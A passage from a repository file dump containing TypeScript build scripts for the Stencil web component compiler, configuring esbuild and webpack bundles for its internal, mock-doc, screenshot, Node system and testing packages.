'index.d.ts');\n  const dtsContent = await bundleDts(opts, dtsEntry);\n\n  const outputPath = join(outputDir, 'runner.d.ts');\n  await fs.writeFile(outputPath, dtsContent);\n}\n"
  },
  {
    "path": "scripts/esbuild/internal-platform-testing.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases } from './utils';\n\n/**\n * Get an ESBuild configuration object for the internal testing bundle. This\n * function also has side-effects which set things up for the bundle to be built\n * correctly, like writing a `package.json` file to disk.\n *\n * @param opts build options\n * @returns a promise wrapping an object holding options for ESBuild\n */\nexport async function getInternalTestingBundle(opts: BuildOptions): Promise<ESBuildOptions> {\n  const inputTestingPlatform = join(opts.srcDir, 'testing', 'platform', 'index.ts');\n  const outputTestingPlatformDir = join(opts.output.internalDir, 'testing');\n\n  await fs.emptyDir(outputTestingPlatformDir);\n\n  // write @stencil/core/internal/testing/package.json\n  writePkgJson(opts, outputTestingPlatformDir, {\n    name: '@stencil/core/internal/testing',\n    description:\n      'Stencil internal testing platform to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.',\n    main: 'index.js',\n  });\n\n  // Copy JSX runtime files for automatic JSX transform support\n  const srcJsxDir = join(opts.srcDir, 'internal', 'testing');\n  const jsxFiles = ['jsx-runtime.js', 'jsx-runtime.d.ts', 'jsx-dev-runtime.js', 'jsx-dev-runtime.d.ts'];\n  await Promise.all(jsxFiles.map((file) => fs.copyFile(join(srcJsxDir, file), join(outputTestingPlatformDir, file))));\n\n  const internalTestingAliases = {\n    ...getEsbuildAliases(),\n    '@platform': inputTestingPlatform,\n    '@stencil/core/mock-doc': '../../mock-doc/index.cjs',\n  };\n\n  const external: string[] = [...externalNodeModules, '../../mock-doc/index.cjs'];\n\n  const internalTestingBuildOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [inputTestingPlatform],\n    bundle: true,\n    format: 'cjs',\n    outfile: join(outputTestingPlatformDir, 'index.js'),\n    platform: 'node',\n    logLevel: 'info',\n    external,\n    alias: internalTestingAliases,\n    plugins: [\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@utils/shadow-css', '../client/shadow-css.js'),\n    ],\n  };\n  return internalTestingBuildOptions;\n}\n"
  },
  {
    "path": "scripts/esbuild/internal.ts",
    "content": "import { generateDtsBundle } from 'dts-bundle-generator';\nimport type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { bundleDts, cleanDts } from '../utils/bundle-dts';\nimport type { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { getInternalAppDataBundles } from './internal-app-data';\nimport { getInternalAppGlobalsBundles } from './internal-app-globals';\nimport { getInternalClientBundles } from './internal-platform-client';\nimport { getInternalPlatformHydrateBundles } from './internal-platform-hydrate';\nimport { getInternalTestingBundle } from './internal-platform-testing';\nimport { getBaseEsbuildOptions, runBuilds } from './utils';\n\n/**\n * Run the build for the `internal/` directory, copying and modifying files\n * as-needed while also creating and then building the various bundles that need\n * to be written to `internal/`.\n *\n * @param opts Build options for the current build\n * @returns a Promise wrapping the state of the build\n */\nexport async function buildInternal(opts: BuildOptions) {\n  const inputInternalDir = join(opts.buildDir, 'internal');\n\n  await fs.emptyDir(opts.output.internalDir);\n\n  await copyStencilInternalDts(opts, opts.output.internalDir);\n\n  await copyUtilsDtsFiles(opts);\n\n  await copyStencilCoreEntry(opts);\n\n  // copy @stencil/core/internal default entry, which defaults to client\n  // but we're not exposing all of Stencil's internal code (only the types)\n  await fs.copyFile(join(inputInternalDir, 'default.js'), join(opts.output.internalDir, 'index.js'));\n\n  // write @stencil/core/internal/package.json\n  writePkgJson(opts, opts.output.internalDir, {\n    name: '@stencil/core/internal',\n    description:\n      'Stencil internals only to be imported by the Stencil Compiler. Breaking changes can and will happen at any time.',\n    main: 'index.js',\n    types: 'index.d.ts',\n    sideEffects: false,\n  });\n\n  // this is used in several of our bundles, so we bundle it here in one spot\n  const shadowCSSBundle: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(opts.srcDir, 'utils', 'shadow-css.ts')],\n    format: 'esm',\n    outfile: join(opts.output.internalDir, 'client', 'shadow-css.js'),\n    platform: 'node',\n  };\n\n  const clientPlatformBundles = await getInternalClientBundles(opts);\n  const hydratePlatformBundles = await getInternalPlatformHydrateBundles(opts);\n  const appDataBundles = await getInternalAppDataBundles(opts);\n  const appGlobalsBundles = await getInternalAppGlobalsBundles(opts);\n  const internalTestingBundle = await getInternalTestingBundle(opts);\n\n  return runBuilds(\n    [\n      shadowCSSBundle,\n      ...clientPlatformBundles,\n      ...hydratePlatformBundles,\n      internalTestingBundle,\n      ...appDataBundles,\n      ...appGlobalsBundles,\n    ],\n    opts,\n  );\n}\n\nasync function copyStencilCoreEntry(opts: BuildOptions) {\n  // write @stencil/core entry\n  const stencilCoreSrcDir = join(opts.srcDir, 'internal', 'stencil-core');\n  const stencilCoreDstDir = join(opts.output.internalDir, 'stencil-core');\n  await fs.ensureDir(stencilCoreDstDir);\n  await fs.copy(stencilCoreSrcDir, stencilCoreDstDir);\n}\n\n/**\n * Copy `.d.ts` files built from `src/utils` to `internal/utils` so that types\n * exported from utility modules can be referenced by other typedefs (in\n * particular by our declarations).\n *\n * Some modules within `@utils` incorporate external types which aren't bundled\n * so we selectively copy only `.d.ts` files which are 1) standalone and 2) export\n * a type that other modules in the codebase (in, for instance, `src/compiler/`\n * or `src/cli/`) depend on.\n *\n * @param opts options for the rollup build\n */\nconst copyUtilsDtsFiles = async (opts: BuildOptions) => {\n  const outputDirPath = join(opts.output.internalDir, 'utils');\n  await fs.ensureDir(outputDirPath);\n\n  // copy the `.d.ts` file corresponding to `src/utils/result.ts`\n  const resultDtsFilePath = join(opts.buildDir, 'utils', 'result.d.ts');\n  const resultDtsOutputFilePath = join(opts.output.internalDir, 'utils', 'result.d.ts');\n  await fs.copyFile(resultDtsFilePath, resultDtsOutputFilePath);\n\n  const utilsIndexDtsPath = join(opts.output.internalDir, 'utils', 'index.d.ts');\n  // here we write a simple module that re-exports `./result` so that imports\n  // elsewhere like `import { result } from '@utils'` will resolve correctly\n  await fs.writeFile(utilsIndexDtsPath, `export * as result from \"./result\"`);\n};\n\nasync function copyStencilInternalDts(opts: BuildOptions, outputInternalDir: string) {\n  const declarationsInputDir = join(opts.buildDir, 'declarations');\n\n  // copy to @stencil/core/internal\n\n  // @stencil/core/internal/index.d.ts\n  const indexDtsSrcPath = join(declarationsInputDir, 'index.d.ts');\n  const indexDtsDestPath = join(outputInternalDir, 'index.d.ts');\n  let indexDts = cleanDts(await fs.readFile(indexDtsSrcPath, 'utf8'));\n  indexDts = prependExtModules(indexDts);\n  await fs.writeFile(indexDtsDestPath, indexDts);\n\n  // @stencil/core/internal/stencil-private.d.ts\n  const privateDtsSrcPath = join(declarationsInputDir, 'stencil-private.d.ts');\n  const privateDtsDestPath = join(outputInternalDir, 'stencil-private.d.ts');\n  let privateDts = cleanDts(await fs.readFile(privateDtsSrcPath, 'utf8'));\n\n  // @stencil/core/internal/child_process.d.ts\n  const childProcessSrcPath = join(declarationsInputDir, 'child_process.d.ts');\n  const childProcessDestPath = join(outputInternalDir, 'child_process.d.ts');\n\n  // we generate a tiny tiny bundle here of just\n  // `src/declarations/child_process.ts` so that `internal/stencil-private.d.ts`\n  // can import from `'./child_process'` without worrying about resolving the\n  // types from `node_modules`.\n  const childProcessDts = generateDtsBundle([\n    {\n      filePath: childProcessSrcPath,\n      libraries: {\n        // we need to mark this library so that types imported from it are inlined\n        inlinedLibraries: ['child_process'],\n      },\n      output: {\n        noBanner: true,\n        exportReferencedTypes: false,\n      },\n    },\n  ]).join('\\n');\n  await fs.writeFile(childProcessDestPath, childProcessDts);\n\n  // the private `.d.ts` imports the `Result` type from the `@utils` module, so\n  // we need to rewrite the path so it imports from the right relative path\n  privateDts = privateDts.replace('@utils', './utils');\n  await fs.writeFile(privateDtsDestPath, privateDts);\n\n  // @stencil/core/internal/stencil-public.compiler.d.ts\n  const compilerDtsSrcPath = join(declarationsInputDir, 'stencil-public-compiler.d.ts');\n  const compilerDtsDestPath = join(outputInternalDir, 'stencil-public-compiler.d.ts');\n  const compilerDts = cleanDts(await fs.readFile(compilerDtsSrcPath, 'utf8'));\n  await fs.writeFile(compilerDtsDestPath, compilerDts);\n\n  // @stencil/core/internal/stencil-public-docs.d.ts\n  const docsDtsSrcPath = join(declarationsInputDir, 'stencil-public-docs.d.ts');\n  const docsDtsDestPath = join(outputInternalDir, 'stencil-public-docs.d.ts');\n  // We bundle with `dts-bundle-generator` here to ensure that when the `docs-json`\n  // OT writes a `docs.d.ts` file based on this file it is fully portable.\n  const docsDts = await bundleDts(opts, docsDtsSrcPath, {\n    // we want to suppress the `dts-bundle-generator` banner here because we do\n    // our own later on\n    noBanner: true,\n    // we also don't want the types which are inlined into our bundled file to\n    // be re-exported, which will change the 'surface' of the module\n    exportReferencedTypes: false,\n  });\n  await fs.writeFile(docsDtsDestPath, docsDts);\n\n  // @stencil/core/internal/stencil-public-runtime.d.ts\n  const runtimeDtsSrcPath = join(declarationsInputDir, 'stencil-public-runtime.d.ts');\n  const runtimeDtsDestPath = join(outputInternalDir, 'stencil-public-runtime.d.ts');\n  const runtimeDts = cleanDts(await fs.readFile(runtimeDtsSrcPath, 'utf8'));\n  await fs.writeFile(runtimeDtsDestPath, runtimeDts);\n\n  // @stencil/core/internal/stencil-ext-modules.d.ts (.svg/.css)\n  const srcExtModuleOutput = join(opts.srcDir, 'declarations', 'stencil-ext-modules.d.ts');\n  const dstExtModuleOutput = join(outputInternalDir, 'stencil-ext-modules.d.ts');\n  await fs.copyFile(srcExtModuleOutput, dstExtModuleOutput);\n}\n\nfunction prependExtModules(content: string) {\n  return `/// <reference path=\"./stencil-ext-modules.d.ts\" />\\n` + content;\n}\n"
  },
  {
    "path": "scripts/esbuild/mock-doc.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { BuildOptions, createReplaceData } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils';\nimport { bundleParse5 } from './utils/parse5';\n\n/**\n * Use esbuild to bundle the `mock-doc` submodule\n *\n * @param opts build options\n * @returns a promise for this bundle's build output\n */\nexport async function buildMockDoc(opts: BuildOptions) {\n  const inputDir = join(opts.buildDir, 'mock-doc');\n  const srcDir = join(opts.srcDir, 'mock-doc');\n  const outputDir = opts.output.mockDocDir;\n\n  // clear out rollup stuff and ensure directory exists\n  await fs.emptyDir(outputDir);\n\n  await bundleMockDocDts(inputDir, outputDir);\n\n  writePkgJson(opts, outputDir, {\n    name: '@stencil/core/mock-doc',\n    description: 'Mock window, document and DOM outside of a browser environment.',\n    main: 'index.cjs',\n    module: 'index.js',\n    types: 'index.d.ts',\n    sideEffects: false,\n  });\n\n  // we need to call `createReplaceData` here not because we plan to use the\n  // replace data in this bundle but because the function has some side-effects\n  // that we need here. in particular, it sets the version of `parse5` on\n  // `opts` and the `bundleParse5` function has an implicit dependency on this\n  // value being already set.\n  createReplaceData(opts);\n\n  const mockDocAliases = getEsbuildAliases();\n\n  const [, parse5Path] = await bundleParse5(opts);\n  mockDocAliases['parse5'] = parse5Path;\n\n  const mockDocBuildOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [join(srcDir, 'index.ts')],\n    bundle: true,\n    alias: mockDocAliases,\n    logLevel: 'info',\n  };\n\n  const esmOptions: ESBuildOptions = {\n    ...mockDocBuildOptions,\n    format: 'esm',\n    outfile: join(outputDir, 'index.js'),\n    banner: { js: getBanner(opts, `Stencil Mock Doc`, true) },\n  };\n\n  const cjsOptions: ESBuildOptions = {\n    ...mockDocBuildOptions,\n    format: 'cjs',\n    outfile: join(outputDir, 'index.cjs'),\n    banner: { js: getBanner(opts, `Stencil Mock Doc (CommonJS)`, true) },\n  };\n\n  return runBuilds([esmOptions, cjsOptions], opts);\n}\n\nasync function bundleMockDocDts(inputDir: string, outputDir: string) {\n  // only reason we can do this is because we already know the shape\n  // of mock-doc's dts files and how we want them to come together\n  const srcDtsFiles = (await fs.readdir(inputDir)).filter((f) => {\n    return f.endsWith('.d.ts') && !f.endsWith('index.d.ts') && !f.endsWith('index.d.ts-bundled.d.ts');\n  });\n\n  const output = await Promise.all(\n    srcDtsFiles.map((inputDtsFile) => {\n      return getDtsContent(inputDir, inputDtsFile);\n    }),\n  );\n\n  const srcIndexDts = await fs.readFile(join(inputDir, 'index.d.ts'), 'utf8');\n  output.push(getMockDocExports(srcIndexDts));\n\n  await fs.writeFile(join(outputDir, 'index.d.ts'), output.join('\\n') + '\\n');\n}\n\nasync function getDtsContent(inputDir: string, inputDtsFile: string) {\n  const srcDtsText = await fs.readFile(join(inputDir, inputDtsFile), 'utf8');\n  const allLines = srcDtsText.split('\\n');\n\n  const filteredLines = allLines.filter((ln) => {\n    if (ln.trim().startsWith('///')) {\n      return false;\n    }\n    if (ln.trim().startsWith('import ')) {\n      return false;\n    }\n    if (ln.trim().startsWith('__')) {\n      return false;\n    }\n    if (ln.trim().startsWith('private')) {\n      return false;\n    }\n    if (ln.replace(/ /g, '').startsWith('export{}')) {\n      return false;\n    }\n    return true;\n  });\n\n  let dtsContent = filteredLines\n    .map((ln) => {\n      if (ln.trim().startsWith('export ')) {\n        ln = ln.replace('export ', '');\n      }\n      return ln;\n    })\n    .join('\\n')\n    .trim();\n\n  dtsContent = dtsContent.replace(/    /g, '  ');\n\n  return dtsContent;\n}\n\nfunction getMockDocExports(srcIndexDts: string) {\n  const exportLines = srcIndexDts.split('\\n').filter((ln) => ln.trim().startsWith('export {'));\n  const dtsExports: string[] = [];\n\n  exportLines.forEach((ln) => {\n    const splt = ln.split('{')[1].split('}')[0].trim();\n    const exportNames = splt\n      .split(',')\n      .map((n) => n.trim())\n      .filter((n) => n.length > 0);\n    dtsExports.push(...exportNames);\n  });\n\n  return `export { ${dtsExports.sort().join(', ')} }`;\n}\n"
  },
  {
    "path": "scripts/esbuild/screenshot.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport { join } from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils';\n\nconst screenshotBuilds = {\n  'Stencil Screenshot': 'index',\n  'Stencil Screenshot Pixel Match': 'pixel-match',\n};\n\nexport async function buildScreenshot(opts: BuildOptions) {\n  const inputScreenshotDir = join(opts.buildDir, 'screenshot');\n  const inputScreenshotSrcDir = join(opts.srcDir, 'screenshot');\n\n  // copy @stencil/core/screenshot/index.d.ts\n  await fs.copy(inputScreenshotDir, opts.output.screenshotDir, {\n    filter: (f) => {\n      if (f.endsWith('.d.ts')) {\n        return true;\n      }\n      try {\n        return fs.statSync(f).isDirectory();\n      } catch (e) {}\n      return false;\n    },\n  });\n\n  // write @stencil/core/screenshot/package.json\n  writePkgJson(opts, opts.output.screenshotDir, {\n    description: 'Stencil Screenshot.',\n    files: ['compare/', 'index.js', 'connector.js', 'local-connector.js', 'pixel-match.js'],\n    main: 'index.js',\n    name: '@stencil/core/screenshot',\n    types: 'index.d.ts',\n  });\n\n  const aliases = getEsbuildAliases();\n  const external = externalNodeModules;\n  const baseScreenshotOptions = {\n    ...getBaseEsbuildOptions(),\n    alias: aliases,\n    external,\n    format: 'cjs',\n    platform: 'node',\n  } satisfies ESBuildOptions;\n\n  return runBuilds(\n    Object.entries(screenshotBuilds).map(\n      ([label, file]) =>\n        ({\n          ...baseScreenshotOptions,\n          banner: {\n            js: getBanner(opts, label),\n          },\n          entryPoints: [join(inputScreenshotSrcDir, `${file}.ts`)],\n          outfile: join(opts.output.screenshotDir, `${file}.js`),\n        }) satisfies ESBuildOptions,\n    ),\n    opts,\n  );\n}\n"
  },
  {
    "path": "scripts/esbuild/sys-node.ts",
    "content": "import type { BuildOptions as ESBuildOptions } from 'esbuild';\nimport fs from 'fs-extra';\nimport path from 'path';\nimport resolve from 'resolve';\nimport webpack, { Configuration } from 'webpack';\n\nimport { getBanner } from '../utils/banner';\nimport type { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport { externalAlias, externalNodeModules, getBaseEsbuildOptions, getEsbuildAliases, runBuilds } from './utils';\n\nexport async function buildSysNode(opts: BuildOptions) {\n  const inputDir = path.join(opts.buildDir, 'sys', 'node');\n  const srcDir = path.join(opts.srcDir, 'sys', 'node');\n  const inputFile = path.join(srcDir, 'index.ts');\n  const outputFile = path.join(opts.output.sysNodeDir, 'index.js');\n\n  // clear out rollup stuff and ensure directory exists\n  await fs.emptyDir(opts.output.sysNodeDir);\n\n  // create public d.ts\n  let dts = await fs.readFile(path.join(inputDir, 'public.d.ts'), 'utf8');\n  dts = dts.replace('@stencil/core/internal', '../../internal/index');\n  await fs.writeFile(path.join(opts.output.sysNodeDir, 'index.d.ts'), dts);\n\n  // write @stencil/core/sys/node/package.json\n  writePkgJson(opts, opts.output.sysNodeDir, {\n    name: '@stencil/core/sys/node',\n    description: 'Stencil Node System.',\n    main: 'index.js',\n    types: 'index.d.ts',\n  });\n\n  const external = [\n    ...externalNodeModules,\n    // normally you wouldn't externalize your \"own\" directory here, but since\n    // we build multiple things within `opts.output.sysNodeDir` which should\n    // externalize each other we need to do so\n    '../../compiler/stencil.js',\n    '../../sys/node/index.js',\n    './glob.js',\n  ];\n\n  const sysNodeAliases = {\n    ...getEsbuildAliases(),\n    '@stencil/core/compiler': '../../compiler/stencil.js',\n    '@sys-api-node': '../../sys/node/index.js',\n  };\n\n  const sysNodeOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [inputFile],\n    bundle: true,\n    format: 'cjs',\n    outfile: outputFile,\n    platform: 'node',\n    logLevel: 'info',\n    external,\n    minify: true,\n    alias: sysNodeAliases,\n    banner: { js: getBanner(opts, `Stencil Node System`, true) },\n    plugins: [externalAlias('graceful-fs', './graceful-fs.js')],\n  };\n\n  // sys/node/worker.js bundle\n  const inputWorkerFile = path.join(srcDir, 'worker.ts');\n  const outputWorkerFile = path.join(opts.output.sysNodeDir, 'worker.js');\n\n  const workerOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [inputWorkerFile],\n    bundle: true,\n    format: 'cjs',\n    outfile: outputWorkerFile,\n    platform: 'node',\n    logLevel: 'info',\n    external,\n    minify: true,\n    alias: sysNodeAliases,\n    banner: { js: getBanner(opts, `Stencil Node System Worker`, true) },\n  };\n\n  await sysNodeExternalBundles(opts);\n\n  return runBuilds([sysNodeOptions, workerOptions], opts);\n}\n\nexport const sysNodeBundleCacheDir = 'sys-node-bundle-cache';\nasync function sysNodeExternalBundles(opts: BuildOptions) {\n  const cachedDir = path.join(opts.scriptsBuildDir, sysNodeBundleCacheDir);\n\n  await fs.ensureDir(cachedDir);\n  await Promise.all([\n    bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'autoprefixer.js'),\n    bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'glob.js'),\n    bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'graceful-fs.js'),\n    bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'node-fetch.js'),\n    bundleExternal(opts, opts.output.sysNodeDir, cachedDir, 'prompts.js'),\n  ]);\n\n  /**\n   * Some of globs dependencies are using imports with a `node:` prefix which\n   * is not supported by Jest v26. This is a workaround to remove the `node:`.\n   * TODO(STENCIL-1323): remove once we deprecated Jest v26 support\n   */\n  const globOutputPath = path.join(opts.output.sysNodeDir, 'glob.js');\n  const glob = fs.readFileSync(globOutputPath, 'utf8');\n  fs.writeFileSync(globOutputPath, glob.replace(/require\\(\"node:/g, 'require(\"'));\n}\n\nexport function bundleExternal(opts: BuildOptions, outputDir: string, cachedDir: string, entryFileName: string) {\n  return new Promise<void>(async (resolveBundle, rejectBundle) => {\n    const outputFile = path.join(outputDir, entryFileName);\n    const cachedFile = path.join(cachedDir, entryFileName) + (opts.isProd ? '.min.js' : '');\n\n    const cachedExists = fs.existsSync(cachedFile);\n    if (cachedExists) {\n      await fs.copyFile(cachedFile, outputFile);\n      resolveBundle();\n      return;\n    }\n\n    const whitelist = new Set(['child_process', 'os', 'typescript']);\n    const webpackConfig: Configuration = {\n      entry: path.join(opts.srcDir, 'sys', 'node', 'bundles', entryFileName),\n      output: {\n        path: outputDir,\n        filename: entryFileName,\n        libraryTarget: 'commonjs',\n      },\n      target: 'node',\n      node: {\n        __dirname: false,\n        __filename: false,\n      },\n      externals(data, callback) {\n        const { request } = data;\n\n        if (request?.match(/^(\\.{0,2})\\//)) {\n          // absolute and relative paths are not externals\n          return callback(null, undefined);\n        }\n\n        if (request === '@stencil/core/mock-doc') {\n          return callback(null, '../../mock-doc');\n        }\n\n        if (typeof request === 'string' && whitelist.has(request)) {\n          // we specifically do not want to bundle these imports\n          resolve.sync(request);\n          return callback(null, request);\n        }\n\n        // bundle this import\n        callback(undefined, undefined);\n      },\n      resolve: {\n        alias: {\n          '@utils': path.join(opts.buildDir, 'utils', 'index.js'),\n          postcss: path.join(opts.nodeModulesDir, 'postcss'),\n          'source-map': path.join(opts.nodeModulesDir, 'source-map'),\n          chalk: path.join(opts.bundleHelpersDir, 'empty.js'),\n        },\n      },\n      optimization: {\n        minimize: false,\n      },\n      mode: 'production',\n    };\n\n    console.log(`[sys-node] bundleExternal ${entryFileName} via webpack`);\n    webpack(webpackConfig, async (err, stats) => {\n      try {\n        console.log(`[sys-node] bundleExternal ${entryFileName} success, err: ${err}, stats: ${stats}`);\n        const { minify } = await import('terser');\n        if (err && err.message) {\n          rejectBundle(err);\n        } else if (stats) {\n          const info = stats.toJson({ errors: true });\n          if (stats.hasErrors() && info && info.errors) {\n            const webpackError = info.errors.join('\\n');\n            rejectBundle(webpackError);\n          } else {\n            let code = await fs.readFile(outputFile, 'utf8');\n\n            if (opts.isProd) {\n              try {\n                const minifyResults = await minify(code);\n                if (minifyResults.code) {\n                  code = minifyResults.code;\n                }\n              } catch (e) {\n                rejectBundle(e);\n                return;\n              }\n            }\n            await fs.writeFile(cachedFile, code);\n            await fs.writeFile(outputFile, code);\n\n            resolveBundle();\n          }\n        }\n      } catch (e) {\n        rejectBundle(e);\n      }\n    });\n  });\n}\n"
  },
  {
    "path": "scripts/esbuild/testing.ts",
    "content": "import type { BuildOptions as ESBuildOptions, Plugin } from 'esbuild';\nimport fs from 'fs-extra';\nimport path from 'path';\n\nimport { getBanner } from '../utils/banner';\nimport type { BuildOptions } from '../utils/options';\nimport { writePkgJson } from '../utils/write-pkg-json';\nimport {\n  externalAlias,\n  externalNodeModules,\n  getBaseEsbuildOptions,\n  getEsbuildAliases,\n  getFirstOutputFile,\n  runBuilds,\n} from './utils';\n\nconst EXTERNAL_TESTING_MODULES = [\n  'constants',\n  'rollup',\n  '@rollup/plugin-commonjs',\n  '@rollup/plugin-node-resolve',\n  'yargs',\n  'zlib',\n];\n\nexport async function buildTesting(opts: BuildOptions) {\n  const inputDir = path.join(opts.buildDir, 'testing');\n  const sourceDir = path.join(opts.srcDir, 'testing');\n  await fs.emptyDir(opts.output.testingDir);\n\n  await Promise.all([\n    // copy jest testing entry files\n    fs.copy(path.join(opts.scriptsBundlesDir, 'helpers', 'jest'), opts.output.testingDir),\n    copyTestingInternalDts(opts, inputDir),\n  ]);\n\n  // write package.json\n  writePkgJson(opts, opts.output.testingDir, {\n    name: '@stencil/core/testing',\n    description: 'Stencil testing suite.',\n    main: 'index.js',\n    types: 'index.d.ts',\n  });\n\n  const external = [\n    ...EXTERNAL_TESTING_MODULES,\n    ...externalNodeModules,\n    '../internal/testing/*',\n    '../cli/index.cjs',\n    '../sys/node/index.js',\n    '../compiler/stencil.js',\n  ];\n\n  const aliases = getEsbuildAliases();\n  const testingEsbuildOptions: ESBuildOptions = {\n    ...getBaseEsbuildOptions(),\n    entryPoints: [path.join(sourceDir, 'index.ts')],\n    bundle: true,\n    format: 'cjs',\n    outfile: path.join(opts.output.testingDir, 'index.js'),\n    platform: 'node',\n    logLevel: 'info',\n    external,\n    /**\n     * set `write: false` so that we can run the `onEnd` hook\n     * in `lazyRequirePlugin` and modify the imports\n     */\n    write: false,\n    alias: aliases,\n    banner: { js: getBanner(opts, `Stencil Testing`, true) },\n    plugins: [\n      externalAlias('@app-data', '@stencil/core/internal/app-data'),\n      externalAlias('@platform', '@stencil/core/internal/testing'),\n      externalAlias('../internal/testing/index.js', '@stencil/core/internal/testing'),\n      externalAlias('@stencil/core/dev-server', '../dev-server/index.js'),\n      externalAlias('@stencil/core/mock-doc', '../mock-doc/index.cjs'),\n      lazyRequirePlugin(opts, [\n        '@stencil/core/internal/app-data',\n        '@stencil/core/internal/testing',\n        '../dev-server/index.js',\n        '../internal/testing/index.js',\n        '../mock-doc/index.cjs',\n      ]),\n      ignorePuppeteerDependency(opts),\n    ],\n  };\n\n  return runBuilds([testingEsbuildOptions], opts);\n}\n\nfunction getLazyRequireFn(opts: BuildOptions) {\n  return fs.readFileSync(path.join(opts.bundleHelpersDir, 'lazy-require.js'), 'utf8').trim();\n}\n\nfunction lazyRequirePlugin(opts: BuildOptions, moduleIds: string[]): Plugin {\n  return {\n    name: 'lazyRequirePlugin',\n    setup(build) {\n      build.onEnd(async (buildResult) => {\n        const bundle = getFirstOutputFile(buildResult);\n        let code = Buffer.from(bundle.contents).toString();\n\n        for (const moduleId of moduleIds) {\n          const str = `require(\"${moduleId}\")`;\n          while (code.includes(str)) {\n            code = code.replace(str, `_lazyRequire(\"${moduleId}\")`);\n          }\n        }\n\n        code = code.replace(`\"use strict\";`, `\"use strict\";\\n\\n${getLazyRequireFn(opts)}`);\n        return fs.writeFile(bundle.path, code);\n      });\n    },\n  };\n}\n\n/**\n * To avoid having user to install puppeteer for building their app (even if\n * they don't use e2e testing), we ignore the puppeteer dependency in the\n * generated d.ts file.\n *\n * @param opts build options\n * @returns an ESbuild plugin\n */\nfunction ignorePuppeteerDependency(opts: BuildOptions): Plugin {\n  return {\n    name: 'ignorePuppeteerDependency',\n    setup(build) {\n      build.onEnd(async () => {\n        await writePatchedPuppeteerDts(opts);\n      });\n    },\n  };\n}\n\nexport async function copyTestingInternalDts(opts: BuildOptions, inputDir: string) {\n  // copy testing d.ts files\n\n  await fs.copy(path.join(inputDir), path.join(opts.output.testingDir), {\n    filter: (f) => {\n      if (f.endsWith('.d.ts')) {\n        return true;\n      }\n      if (fs.statSync(f).isDirectory() && !f.includes('platform')) {\n        return true;\n      }\n      return false;\n    },\n  });\n}\n\n/**\n * Write a patched version of\n * `src/testing/puppeteer/puppeteer-declarations.d.ts` which has a `@ts-ignore`\n * added to prevent a type-checking error if a Stencil project does not have\n * puppeteer installed.\n *\n * @param opts build options\n */\nexport async function writePatchedPuppeteerDts(opts: BuildOptions) {\n  const typeFilePath = path.join(opts.output.testingDir, 'puppeteer', 'puppeteer-declarations.d.ts');\n  const updatedFileContent = (await fs.readFile(typeFilePath, 'utf8'))\n    .split('\\n')\n    .reduce((lines, line) => {\n      if (line.endsWith(`from 'puppeteer';`)) {\n        lines.push('// @ts-ignore - avoid requiring puppeteer as dependency');\n      }\n      lines.push(line);\n      return lines;\n    }, [] as string[])\n    .join('\\n');\n  await fs.writeFile(typeFilePath, updatedFileContent);\n}\n"
  },
  {
    "path": "scripts/esbuild/utils/alias-plugin.ts",
    "content": "import { join } from 'path';\nimport type { PartialResolvedId, Plugin } from 'rollup';\n\nimport type { BuildOptions } from '../../utils/options';\n\n/**\n * Creates a rollup plugin for resolving identifiers while simultaneously externalizing them\n * @param opts the options being used during a build\n * @returns a rollup plugin with a build hook for resolving various identifiers\n */\nexport function aliasPlugin(opts: BuildOptions): Plugin {\n  const alias = new Map([\n    ['@app-data', '@stencil/core/internal/app-data'],\n    ['@app-globals', '@stencil/core/internal/app-globals'],\n    ['@hydrate-factory', '@stencil/core/hydrate-factory'],\n    ['@stencil/core/mock-doc', '@stencil/core/mock-doc'],\n    ['@stencil/core/testing', '@stencil/core/testing'],\n    ['@dev-server-process', './server-process.js'],\n  ]);\n\n  // ensure we use the same one\n  const helperResolvers = new Set(['is-resolvable', 'path-is-absolute']);\n\n  // ensure we use the same one\n  const nodeResolvers = new Map([['source-map', join(opts.nodeModulesDir, 'source-map', 'source-map.js')]]);\n\n  const empty = new Set([\n    // we never use chalk, but many projects still pull it in\n    'chalk',\n  ]);\n\n  return {\n    name: 'aliasPlugin',\n    /**\n     * A rollup build hook for resolving identifiers. [Source](https://rollupjs.org/guide/en/#resolveid)\n     * @param id the importee exactly as it is written in an import statement in the source code\n     * @returns a resolution to an import to a different id, potentially externalizing it from the bundle simultaneously\n     */\n    resolveId(id: string): PartialResolvedId | string | null | undefined {\n      const externalId = alias.get(id);\n      if (externalId) {\n        return {\n          id: externalId,\n          external: true,\n        };\n      }\n      if (id === '@runtime') {\n        return join(opts.buildDir, 'runtime', 'index.js');\n      }\n      if (id === '@utils') {\n        return join(opts.buildDir, 'utils', 'index.js');\n      }\n      if (id === '@utils/shadow-css') {\n        return join(opts.buildDir, 'utils', 'shadow-css.js');\n      }\n      if (id === '@environment') {\n        return 